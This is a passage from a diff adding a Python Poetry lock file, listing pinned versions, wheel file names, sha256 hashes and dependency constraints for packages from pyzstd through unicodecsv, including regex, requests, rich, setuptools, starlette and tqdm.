"sha256:1dbe76b6d8fe75f6dbec24793fc07b1d1ae9464de9941138d5b9668f7670e6b0"}, + {file = "pyzstd-0.15.9-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:6b9af8d62c087354abd071e01d9445ea51b31779c8a4a0d5c14ee12caee3d18f"}, + {file = "pyzstd-0.15.9-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a4f786f1b1ab39a0908db04ebe5b2c7cbc6f1ce07a27d3a12eb980bffd7fea7d"}, + {file = "pyzstd-0.15.9-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cffaab46f9e04856dc3daa6097bfb3d3bea0b1771237e869c57b13f3dcc2c238"}, + {file = "pyzstd-0.15.9-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a4334e972109bdd17fb40dbdd9fcca6137648cab416fca505a2dcd186f50533"}, + {file = "pyzstd-0.15.9-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73877eebbdcb8259cf0099665f8c8274d4273b361371405a611fb6bd9f4d64f6"}, + {file = "pyzstd-0.15.9-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:289e25871fe232d2482c0985a75a1faa7c92e10a6c3e3914d165f62d005d0aa6"}, + {file = "pyzstd-0.15.9.tar.gz", hash = "sha256:cbfdde6c5768ffa5d2f14127bbc1d7c3c2d03c0ceaeb0736946197e06275ccc7"}, +] + +[[package]] +name = "regex" +version = "2023.6.3" +description = "Alternative regular expression module, to replace re." +optional = false +python-versions = ">=3.6" +files = [ + {file = "regex-2023.6.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:824bf3ac11001849aec3fa1d69abcb67aac3e150a933963fb12bda5151fe1bfd"}, + {file = "regex-2023.6.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:05ed27acdf4465c95826962528f9e8d41dbf9b1aa8531a387dee6ed215a3e9ef"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b49c764f88a79160fa64f9a7b425620e87c9f46095ef9c9920542ab2495c8bc"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8e3f1316c2293e5469f8f09dc2d76efb6c3982d3da91ba95061a7e69489a14ef"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:43e1dd9d12df9004246bacb79a0e5886b3b6071b32e41f83b0acbf293f820ee8"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4959e8bcbfda5146477d21c3a8ad81b185cd252f3d0d6e4724a5ef11c012fb06"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:af4dd387354dc83a3bff67127a124c21116feb0d2ef536805c454721c5d7993d"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2239d95d8e243658b8dbb36b12bd10c33ad6e6933a54d36ff053713f129aa536"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:890e5a11c97cf0d0c550eb661b937a1e45431ffa79803b942a057c4fb12a2da2"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a8105e9af3b029f243ab11ad47c19b566482c150c754e4c717900a798806b222"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:25be746a8ec7bc7b082783216de8e9473803706723b3f6bef34b3d0ed03d57e2"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:3676f1dd082be28b1266c93f618ee07741b704ab7b68501a173ce7d8d0d0ca18"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:10cb847aeb1728412c666ab2e2000ba6f174f25b2bdc7292e7dd71b16db07568"}, + {file = "regex-2023.6.3-cp310-cp310-win32.whl", hash = "sha256:dbbbfce33cd98f97f6bffb17801b0576e653f4fdb1d399b2ea89638bc8d08ae1"}, + {file = "regex-2023.6.3-cp310-cp310-win_amd64.whl", hash = "sha256:c5f8037000eb21e4823aa485149f2299eb589f8d1fe4b448036d230c3f4e68e0"}, + {file = "regex-2023.6.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c123f662be8ec5ab4ea72ea300359023a5d1df095b7ead76fedcd8babbedf969"}, + {file = "regex-2023.6.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9edcbad1f8a407e450fbac88d89e04e0b99a08473f666a3f3de0fd292badb6aa"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcba6dae7de533c876255317c11f3abe4907ba7d9aa15d13e3d9710d4315ec0e"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:29cdd471ebf9e0f2fb3cac165efedc3c58db841d83a518b082077e612d3ee5df"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:12b74fbbf6cbbf9dbce20eb9b5879469e97aeeaa874145517563cca4029db65c"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c29ca1bd61b16b67be247be87390ef1d1ef702800f91fbd1991f5c4421ebae8"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d77f09bc4b55d4bf7cc5eba785d87001d6757b7c9eec237fe2af57aba1a071d9"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ea353ecb6ab5f7e7d2f4372b1e779796ebd7b37352d290096978fea83c4dba0c"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:10590510780b7541969287512d1b43f19f965c2ece6c9b1c00fc367b29d8dce7"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:e2fbd6236aae3b7f9d514312cdb58e6494ee1c76a9948adde6eba33eb1c4264f"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:6b2675068c8b56f6bfd5a2bda55b8accbb96c02fd563704732fd1c95e2083461"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74419d2b50ecb98360cfaa2974da8689cb3b45b9deff0dcf489c0d333bcc1477"}, + {file = "regex-2023.6.3-cp311-cp311-win32.whl", hash = "sha256:fb5ec16523dc573a4b277663a2b5a364e2099902d3944c9419a40ebd56a118f9"}, + {file = "regex-2023.6.3-cp311-cp311-win_amd64.whl", hash = "sha256:09e4a1a6acc39294a36b7338819b10baceb227f7f7dbbea0506d419b5a1dd8af"}, + {file = "regex-2023.6.3-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:0654bca0cdf28a5956c83839162692725159f4cda8d63e0911a2c0dc76166525"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:463b6a3ceb5ca952e66550a4532cef94c9a0c80dc156c4cc343041951aec1697"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:87b2a5bb5e78ee0ad1de71c664d6eb536dc3947a46a69182a90f4410f5e3f7dd"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6343c6928282c1f6a9db41f5fd551662310e8774c0e5ebccb767002fcf663ca9"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b6192d5af2ccd2a38877bfef086d35e6659566a335b1492786ff254c168b1693"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74390d18c75054947e4194019077e243c06fbb62e541d8817a0fa822ea310c14"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:742e19a90d9bb2f4a6cf2862b8b06dea5e09b96c9f2df1779e53432d7275331f"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:8abbc5d54ea0ee80e37fef009e3cec5dafd722ed3c829126253d3e22f3846f1e"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:c2b867c17a7a7ae44c43ebbeb1b5ff406b3e8d5b3e14662683e5e66e6cc868d3"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:d831c2f8ff278179705ca59f7e8524069c1a989e716a1874d6d1aab6119d91d1"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:ee2d1a9a253b1729bb2de27d41f696ae893507c7db224436abe83ee25356f5c1"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:61474f0b41fe1a80e8dfa70f70ea1e047387b7cd01c85ec88fa44f5d7561d787"}, + {file = "regex-2023.6.3-cp36-cp36m-win32.whl", hash = "sha256:0b71e63226e393b534105fcbdd8740410dc6b0854c2bfa39bbda6b0d40e59a54"}, + {file = "regex-2023.6.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bbb02fd4462f37060122e5acacec78e49c0fbb303c30dd49c7f493cf21fc5b27"}, + {file = "regex-2023.6.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b862c2b9d5ae38a68b92e215b93f98d4c5e9454fa36aae4450f61dd33ff48487"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:976d7a304b59ede34ca2921305b57356694f9e6879db323fd90a80f865d355a3"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:83320a09188e0e6c39088355d423aa9d056ad57a0b6c6381b300ec1a04ec3d16"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9427a399501818a7564f8c90eced1e9e20709ece36be701f394ada99890ea4b3"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7178bbc1b2ec40eaca599d13c092079bf529679bf0371c602edaa555e10b41c3"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:837328d14cde912af625d5f303ec29f7e28cdab588674897baafaf505341f2fc"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2d44dc13229905ae96dd2ae2dd7cebf824ee92bc52e8cf03dcead37d926da019"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d54af539295392611e7efbe94e827311eb8b29668e2b3f4cadcfe6f46df9c777"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:7117d10690c38a622e54c432dfbbd3cbd92f09401d622902c32f6d377e2300ee"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bb60b503ec8a6e4e3e03a681072fa3a5adcbfa5479fa2d898ae2b4a8e24c4591"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:65ba8603753cec91c71de423a943ba506363b0e5c3fdb913ef8f9caa14b2c7e0"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:271f0bdba3c70b58e6f500b205d10a36fb4b58bd06ac61381b68de66442efddb"}, + {file = "regex-2023.6.3-cp37-cp37m-win32.whl", hash = "sha256:9beb322958aaca059f34975b0df135181f2e5d7a13b84d3e0e45434749cb20f7"}, + {file = "regex-2023.6.3-cp37-cp37m-win_amd64.whl", hash = "sha256:fea75c3710d4f31389eed3c02f62d0b66a9da282521075061ce875eb5300cf23"}, + {file = "regex-2023.6.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8f56fcb7ff7bf7404becdfc60b1e81a6d0561807051fd2f1860b0d0348156a07"}, + {file = "regex-2023.6.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d2da3abc88711bce7557412310dfa50327d5769a31d1c894b58eb256459dc289"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a99b50300df5add73d307cf66abea093304a07eb017bce94f01e795090dea87c"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5708089ed5b40a7b2dc561e0c8baa9535b77771b64a8330b684823cfd5116036"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:687ea9d78a4b1cf82f8479cab23678aff723108df3edeac098e5b2498879f4a7"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d3850beab9f527f06ccc94b446c864059c57651b3f911fddb8d9d3ec1d1b25d"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e8915cc96abeb8983cea1df3c939e3c6e1ac778340c17732eb63bb96247b91d2"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:841d6e0e5663d4c7b4c8099c9997be748677d46cbf43f9f471150e560791f7ff"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9edce5281f965cf135e19840f4d93d55b3835122aa76ccacfd389e880ba4cf82"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b956231ebdc45f5b7a2e1f90f66a12be9610ce775fe1b1d50414aac1e9206c06"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:36efeba71c6539d23c4643be88295ce8c82c88bbd7c65e8a24081d2ca123da3f"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:cf67ca618b4fd34aee78740bea954d7c69fdda419eb208c2c0c7060bb822d747"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b4598b1897837067a57b08147a68ac026c1e73b31ef6e36deeeb1fa60b2933c9"}, + {file = "regex-2023.6.3-cp38-cp38-win32.whl", hash = "sha256:f415f802fbcafed5dcc694c13b1292f07fe0befdb94aa8a52905bd115ff41e88"}, + {file = "regex-2023.6.3-cp38-cp38-win_amd64.whl", hash = "sha256:d4f03bb71d482f979bda92e1427f3ec9b220e62a7dd337af0aa6b47bf4498f72"}, + {file = "regex-2023.6.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ccf91346b7bd20c790310c4147eee6ed495a54ddb6737162a36ce9dbef3e4751"}, + {file = "regex-2023.6.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b28f5024a3a041009eb4c333863d7894d191215b39576535c6734cd88b0fcb68"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e0bb18053dfcfed432cc3ac632b5e5e5c5b7e55fb3f8090e867bfd9b054dbcbf"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9a5bfb3004f2144a084a16ce19ca56b8ac46e6fd0651f54269fc9e230edb5e4a"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5c6b48d0fa50d8f4df3daf451be7f9689c2bde1a52b1225c5926e3f54b6a9ed1"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:051da80e6eeb6e239e394ae60704d2b566aa6a7aed6f2890a7967307267a5dc6"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4c3b7fa4cdaa69268748665a1a6ff70c014d39bb69c50fda64b396c9116cf77"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:457b6cce21bee41ac292d6753d5e94dcbc5c9e3e3a834da285b0bde7aa4a11e9"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:aad51907d74fc183033ad796dd4c2e080d1adcc4fd3c0fd4fd499f30c03011cd"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:0385e73da22363778ef2324950e08b689abdf0b108a7d8decb403ad7f5191938"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c6a57b742133830eec44d9b2290daf5cbe0a2f1d6acee1b3c7b1c7b2f3606df7"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:3e5219bf9e75993d73ab3d25985c857c77e614525fac9ae02b1bebd92f7cecac"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e5087a3c59eef624a4591ef9eaa6e9a8d8a94c779dade95d27c0bc24650261cd"}, + {file = "regex-2023.6.3-cp39-cp39-win32.whl", hash = "sha256:20326216cc2afe69b6e98528160b225d72f85ab080cbdf0b11528cbbaba2248f"}, + {file = "regex-2023.6.3-cp39-cp39-win_amd64.whl", hash = "sha256:bdff5eab10e59cf26bc479f565e25ed71a7d041d1ded04ccf9aee1d9f208487a"}, + {file = "regex-2023.6.3.tar.gz", hash = "sha256:72d1a25bf36d2050ceb35b517afe13864865268dfb45910e2e17a84be6cbfeb0"}, +] + +[[package]] +name = "requests" +version = "2.31.0" +description = "Python HTTP for Humans." +optional = false +python-versions = ">=3.7" +files = [ + {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, + {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, +] + +[package.dependencies] +certifi = ">=2017.4.17" +charset-normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<3" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] + +[[package]] +name = "rfc3986" +version = "1.5.0" +description = "Validating URI References per RFC 3986" +optional = false +python-versions = "*" +files = [ + {file = "rfc3986-1.5.0-py2.py3-none-any.whl", hash = "sha256:a86d6e1f5b1dc238b218b012df0aa79409667bb209e58da56d0b94704e712a97"}, + {file = "rfc3986-1.5.0.tar.gz", hash = "sha256:270aaf10d87d0d4e095063c65bf3ddbc6ee3d0b226328ce21e036f946e421835"}, +] + +[package.dependencies] +idna = {version = "*", optional = true, markers = "extra == \"idna2008\""} + +[package.extras] +idna2008 = ["idna"] + +[[package]] +name = "rich" +version = "13.4.2" +description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "rich-13.4.2-py3-none-any.whl", hash = "sha256:8f87bc7ee54675732fa66a05ebfe489e27264caeeff3728c945d25971b6485ec"}, + {file = "rich-13.4.2.tar.gz", hash = "sha256:d653d6bccede5844304c605d5aac802c7cf9621efd700b46c7ec2b51ea914898"}, +] + +[package.dependencies] +markdown-it-py = ">=2.2.0" +pygments = ">=2.13.0,<3.0.0" + +[package.extras] +jupyter = ["ipywidgets (>=7.5.1,<9)"] + +[[package]] +name = "s3transfer" +version = "0.6.1" +description = "An Amazon S3 Transfer Manager" +optional = false +python-versions = ">= 3.7" +files = [ + {file = "s3transfer-0.6.1-py3-none-any.whl", hash = "sha256:3c0da2d074bf35d6870ef157158641178a4204a6e689e82546083e31e0311346"}, + {file = "s3transfer-0.6.1.tar.gz", hash = "sha256:640bb492711f4c0c0905e1f62b6aaeb771881935ad27884852411f8e9cacbca9"}, +] + +[package.dependencies] +botocore = ">=1.12.36,<2.0a.0" + +[package.extras] +crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"] + +[[package]] +name = "setuptools" +version = "68.0.0" +description = "Easily download, build, install, upgrade, and uninstall Python packages" +optional = false +python-versions = ">=3.7" +files = [ + {file = "setuptools-68.0.0-py3-none-any.whl", hash = "sha256:11e52c67415a381d10d6b462ced9cfb97066179f0e871399e006c4ab101fc85f"}, + {file = "setuptools-68.0.0.tar.gz", hash = "sha256:baf1fdb41c6da4cd2eae722e135500da913332ab3f2f5c7d33af9b492acb5235"}, +] + +[package.extras] +docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-hoverxref (<2)", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (==0.8.3)", "sphinx-reredirects", "sphinxcontrib-towncrier"] +testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-ruff", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +testing-integration = ["build[virtualenv]", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"] + +[[package]] +name = "six" +version = "1.16.0" +description = "Python 2 and 3 compatibility utilities" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, + {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, +] + +[[package]] +name = "smmap" +version = "5.0.0" +description = "A pure Python implementation of a sliding window memory map manager" +optional = false +python-versions = ">=3.6" +files = [ + {file = "smmap-5.0.0-py3-none-any.whl", hash = "sha256:2aba19d6a040e78d8b09de5c57e96207b09ed71d8e55ce0959eeee6c8e190d94"}, + {file = "smmap-5.0.0.tar.gz", hash = "sha256:c840e62059cd3be204b0c9c9f74be2c09d5648eddd4580d9314c3ecde0b30936"}, +] + +[[package]] +name = "sniffio" +version = "1.3.0" +description = "Sniff out which async library your code is running under" +optional = false +python-versions = ">=3.7" +files = [ + {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"}, + {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"}, +] + +[[package]] +name = "starlette" +version = "0.19.1" +description = "The little ASGI library that shines." +optional = false +python-versions = ">=3.6" +files = [ + {file = "starlette-0.19.1-py3-none-any.whl", hash = "sha256:5a60c5c2d051f3a8eb546136aa0c9399773a689595e099e0877704d5888279bf"}, + {file = "starlette-0.19.1.tar.gz", hash = "sha256:c6d21096774ecb9639acad41b86b7706e52ba3bf1dc13ea4ed9ad593d47e24c7"}, +] + +[package.dependencies] +anyio = ">=3.4.0,<5" + +[package.extras] +full = ["itsdangerous", "jinja2", "python-multipart", "pyyaml", "requests"] + +[[package]] +name = "stevedore" +version = "5.1.0" +description = "Manage dynamic plugins for Python applications" +optional = false +python-versions = ">=3.8" +files = [ + {file = "stevedore-5.1.0-py3-none-any.whl", hash = "sha256:8cc040628f3cea5d7128f2e76cf486b2251a4e543c7b938f58d9a377f6694a2d"}, + {file = "stevedore-5.1.0.tar.gz", hash = "sha256:a54534acf9b89bc7ed264807013b505bf07f74dbe4bcfa37d32bd063870b087c"}, +] + +[package.dependencies] +pbr = ">=2.0.0,<2.1.0 || >2.1.0" + +[[package]] +name = "structlog" +version = "23.1.0" +description = "Structured Logging for Python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "structlog-23.1.0-py3-none-any.whl", hash = "sha256:79b9e68e48b54e373441e130fa447944e6f87a05b35de23138e475c05d0f7e0e"}, + {file = "structlog-23.1.0.tar.gz", hash = "sha256:270d681dd7d163c11ba500bc914b2472d2b50a8ef00faa999ded5ff83a2f906b"}, +] + +[package.extras] +dev = ["structlog[docs,tests,typing]"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-mermaid", "twisted"] +tests = ["coverage[toml]", "freezegun (>=0.2.8)", "pretend", "pytest (>=6.0)", "pytest-asyncio (>=0.17)", "simplejson"] +typing = ["mypy", "rich", "twisted"] + +[[package]] +name = "sumy" +version = "0.10.0" +description = "Module for automatic summarization of text documents and HTML pages." +optional = false +python-versions = "*" +files = [ + {file = "sumy-0.10.0-py2.py3-none-any.whl", hash = "sha256:175838405044e493035920dd360a2e31a2236ddd014fc6376073a2c550973b03"}, + {file = "sumy-0.10.0.tar.gz", hash = "sha256:77571eb1167fdde4e42bd6aa2b05d961e6667c3a1f87c117720cdc9886ab3971"}, +] + +[package.dependencies] +breadability = ">=0.1.20" +docopt = ">=0.6.1,<0.7" +nltk = ">=3.0.2" +pycountry = ">=18.2.23" +requests = ">=2.7.0" + +[package.extras] +chinese = ["jieba"] +greek = ["greek-stemmer-pos"] +hebrew = ["hebrew-tokenizer"] +japanese = ["tinysegmenter"] +korean = ["konlpy"] +lexrank = ["numpy"] +lsa = ["numpy"] + +[[package]] +name = "tenacity" +version = "8.2.2" +description = "Retry code until it succeeds" +optional = false +python-versions = ">=3.6" +files = [ + {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"}, + {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"}, +] + +[package.extras] +doc = ["reno", "sphinx", "tornado (>=4.5)"] + +[[package]] +name = "texttable" +version = "1.6.7" +description = "module to create simple ASCII tables" +optional = false +python-versions = "*" +files = [ + {file = "texttable-1.6.7-py2.py3-none-any.whl", hash = "sha256:b7b68139aa8a6339d2c320ca8b1dc42d13a7831a346b446cb9eb385f0c76310c"}, + {file = "texttable-1.6.7.tar.gz", hash = "sha256:290348fb67f7746931bcdfd55ac7584ecd4e5b0846ab164333f0794b121760f2"}, +] + +[[package]] +name = "tqdm" +version = "4.65.0" +description = "Fast, Extensible Progress Meter" +optional = false +python-versions = ">=3.7" +files = [ + {file = "tqdm-4.65.0-py3-none-any.whl", hash = "sha256:c4f53a17fe37e132815abceec022631be8ffe1b9381c2e6e30aa70edc99e9671"}, + {file = "tqdm-4.65.0.tar.gz", hash = "sha256:1871fb68a86b8fb3b59ca4cdd3dcccbc7e6d613eeed31f4c332531977b89beb5"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[package.extras] +dev = ["py-make (>=0.1.0)", "twine", "wheel"] +notebook = ["ipywidgets (>=6)"] +slack = ["slack-sdk"] +telegram = ["requests"] + +[[package]] +name = "types-protobuf" +version = "3.20.4.6" +description = "Typing stubs for protobuf" +optional = false +python-versions = "*" +files = [ + {file = "types-protobuf-3.20.4.6.tar.gz", hash = "sha256:ba27443c592bbec1629dd69494a24c84461c63f0d3b7d648ce258aaae9680965"}, + {file = "types_protobuf-3.20.4.6-py3-none-any.whl", hash = "sha256:ab2d315ba82246b83d28f8797c98dc0fe1dd5cfd187909e56faf87239aedaae3"}, +] + +[[package]] +name = "typing-extensions" +version = "4.7.1" +description = "Backported and Experimental Type Hints for Python 3.7+" +optional = false +python-versions = ">=3.7" +files = [ + {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"}, + {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"}, +] + +[[package]] +name = "unicodecsv" +version = "0.14.1" +description = "Python2's stdlib csv module is 